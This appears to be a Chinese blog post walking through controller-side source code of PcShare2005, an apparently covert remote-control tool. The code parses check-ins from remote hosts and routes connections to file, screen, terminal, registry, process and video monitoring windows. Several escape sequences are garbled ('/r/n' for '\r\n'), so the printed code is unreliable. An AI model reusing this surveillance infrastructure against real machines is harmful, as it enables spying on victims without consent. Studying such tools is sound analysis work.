现在的位置: 首页 > 综合 > 正文

PcShare2005代码阅读(2)

2013年01月06日 ⁄ 综合 ⁄ 共 4639字 ⁄ 字号 评论关闭
 

PcShare的上线信息是通过的HTTP协议的GET方式来发送的,所以我们要提取GET的URL(上线信息),先接收完整的HTTP Header,它以"/r/n"结尾,然后提取'/'和"/r/n"之间的上线信息,这个信息经过了BcdToAsc编码,所以需要解码

int AcceptClientMain(SOCKET s,LPCLIENTITEM pData)
{
char ch = 0;
int nlinelen = 0;
char slinedata[8192] = {0};
int ret = 0;

//接收完整Http头
while(1)
{
   //接收一个字符
   ret = recv(s,&ch,1,0);
   if(ret == 0 || ret == SOCKET_ERROR || m_MainValue.m_IsMainExit)
    return -1;

   //提取数据
   slinedata[nlinelen] = ch;
   if(nlinelen >= 4 &&
    slinedata[nlinelen] == '/n' &&
    slinedata[nlinelen - 1] == '/r' &&
    slinedata[nlinelen - 2] == '/n' &&
    slinedata[nlinelen - 3] == '/r')
    break;

   if(nlinelen++ > 8000)
    return -1;
}

TRACE("%s/n",slinedata);

char* pFlag = strchr(slinedata,'/');
if(pFlag == NULL) return -1;
if(*(pFlag + 1) == '/')
{
   pFlag += 2;
   pFlag = strchr(pFlag,'/');
   if(pFlag == NULL) return -1;
}
pFlag ++;

//取连接类型
char m_sCommand[10] = {0};
memcpy(m_sCommand,pFlag,4);
int m_Command = atoi(m_sCommand);

//查看命令是否合法
if(m_Command > 4999 || m_Command < 3000)
   return -1;

//拷贝login数据
AscToBcd((BYTE*)(pFlag + 4), (BYTE*) &pData->m_SysInfo, sizeof(LOGININFO) * 2);
return m_Command;
}

上线信息提取后,根据首字节的COMMAND来判断该socket是干啥用的,是上线用的,还是其他功能用socket

//接收连接线程
UINT WINAPI MyChildThread(LPVOID lPvoid)
{
//交易处理
SOCKET s = (SOCKET) lPvoid;
CLIENTITEM m_ClientItem = {0};
int nCmd = AcceptClientMain(s,&m_ClientItem);
if(nCmd == -1)
   closesocket(s);
else if(nCmd == CONN_MAIN) //上线SOCKET
   LoginTrans(s,&m_ClientItem);
else                       //功能SOCKET
   InterTrans(s,&m_ClientItem,nCmd);

return 0;
}

上线用的签到socket,在主窗口上显示上线信息
void LoginTrans(SOCKET s, LPCLIENTITEM pData)
{
//回送确认包头信息
if(!SendKeepAlive(s)) return;

//启动套接字关闭事件通知
if(WSAAsyncSelect(s , m_MainValue.m_MainhWnd ,
   WM_CLOSEITEM , FD_CLOSE) == SOCKET_ERROR)
{
   closesocket(s);
   return ;
}

//填充客户信息
sockaddr_in m_addr = {0};
int addrlen = sizeof(sockaddr_in);
getpeername(s,(sockaddr*) &m_addr,&addrlen);
char mTid[9] = {0};
memcpy(mTid, pData->m_SysInfo.ID, 8);

sprintf(pData->m_Title,"%d.%d.%d.%d:%s",
    m_addr.sin_addr.S_un.S_un_b.s_b1,
    m_addr.sin_addr.S_un.S_un_b.s_b2,
    m_addr.sin_addr.S_un.S_un_b.s_b3,
    m_addr.sin_addr.S_un.S_un_b.s_b4,
    mTid);
pData->m_WorkSocket = s;

//通知主框架建立了连接
if(!SendMessage(m_MainValue.m_MainhWnd ,
   WM_ADDCLIENT, (WPARAM) pData , 0))
{
   closesocket(s);
}
}

功能用的socket,通过窗口名,绑定到相应的窗口上
void InterTrans(SOCKET s,LPCLIENTITEM pData , int ExecType)
{
//定位窗口唯一标识
sockaddr_in m_addr = {0};
int addrlen = sizeof(sockaddr_in);
getpeername(s,(sockaddr*) &m_addr,&addrlen);
char mTid[9] = {0};
memcpy(mTid, pData->m_SysInfo.ID, 8);
sprintf(pData->m_Title,"%d.%d.%d.%d:%s",
    m_addr.sin_addr.S_un.S_un_b.s_b1,
    m_addr.sin_addr.S_un.S_un_b.s_b2,
    m_addr.sin_addr.S_un.S_un_b.s_b3,
    m_addr.sin_addr.S_un.S_un_b.s_b4,
    mTid);

//确定命令对应窗口
char m_WndName[256] = {0};
if(ExecType == CONN_FILE_UP || ExecType == CONN_FILE_DL)
{
   //文件传输
   sprintf(m_WndName,"PCSHELL文件管理-%s",pData->m_Title);
}
else if(ExecType == CONN_FILE_MANA_SEND)
{
   sprintf(m_WndName,"PCSHELL文件管理-%s",pData->m_Title);
}
else if(ExecType == CONN_FILE_MANA_RECV)
{
   sprintf(m_WndName,"PCSHELL文件管理-%s",pData->m_Title);
   if(!SendKeepAlive(s)) return;
}
else if(ExecType == CONN_FILE_FRAM_SEND)
{
   sprintf(m_WndName,"PCSHELL屏幕监控-%s",pData->m_Title);
}
else if(ExecType == CONN_FILE_FRAM_RECV)
{
   sprintf(m_WndName,"PCSHELL屏幕监控-%s",pData->m_Title);
   if(!SendKeepAlive(s)) return;
}
else if(ExecType == CONN_FILE_TLNT_SEND)
{
   sprintf(m_WndName,"PCSHELL超级终端-%s",pData->m_Title);
}
else if(ExecType == CONN_FILE_TLNT_RECV)
{
   sprintf(m_WndName,"PCSHELL超级终端-%s",pData->m_Title);
   if(!SendKeepAlive(s)) return;
}
else if(ExecType == CONN_FILE_REGD_SEND)
{
   sprintf(m_WndName,"PCSHELL注册表管理-%s",pData->m_Title);
}
else if(ExecType == CONN_FILE_REGD_RECV)
{
   sprintf(m_WndName,"PCSHELL注册表管理-%s",pData->m_Title);
   if(!SendKeepAlive(s)) return;
}
else if(ExecType == CONN_FILE_PROC_SEND)
{
   sprintf(m_WndName,"PCSHELL进程管理-%s",pData->m_Title);
}
else if(ExecType == CONN_FILE_PROC_RECV)
{
   sprintf(m_WndName,"PCSHELL进程管理-%s",pData->m_Title);
   if(!SendKeepAlive(s)) return;
}
else if(ExecType == CONN_FILE_SERV_SEND)
{
   sprintf(m_WndName,"PCSHELL服务管理-%s",pData->m_Title);
}
else if(ExecType == CONN_FILE_SERV_RECV)
{
   sprintf(m_WndName,"PCSHELL服务管理-%s",pData->m_Title);
   if(!SendKeepAlive(s)) return;
}
else if(ExecType == CONN_FILE_MULT_SEND)
{
   sprintf(m_WndName,"PCSHELL视频监控-%s",pData->m_Title);
}
else if(ExecType == CONN_FILE_MULT_RECV)
{
   sprintf(m_WndName,"PCSHELL视频监控-%s",pData->m_Title);
   if(!SendKeepAlive(s)) return;
}

Sleep(500);

//查找窗口
HWND hWnd = FindWindow(NULL,m_WndName);
if(hWnd == NULL)
{
   Sleep(2000);
   hWnd = FindWindow(NULL,m_WndName);
   if(hWnd == NULL)
   {
    closesocket(s);
    return;
   }
}

//拷贝套接字
DWORD pId = 0;
GetWindowThreadProcessId(hWnd, &pId);
WSAPROTOCOL_INFO m_SocketInfo = {0};
if(WSADuplicateSocket(s, pId , &m_SocketInfo))
{
   closesocket(s);
   return ;
}

//发送套接字到进程
COPYDATASTRUCT ct = {0};
ct.lpData = &m_SocketInfo;
ct.cbData = sizeof(WSAPROTOCOL_INFO);
ct.dwData = ExecType;
SendMessage(hWnd,WM_COPYDATA,0,(LPARAM) &ct);
closesocket(s);
}

PcShare也山寨

抱歉!评论已关闭.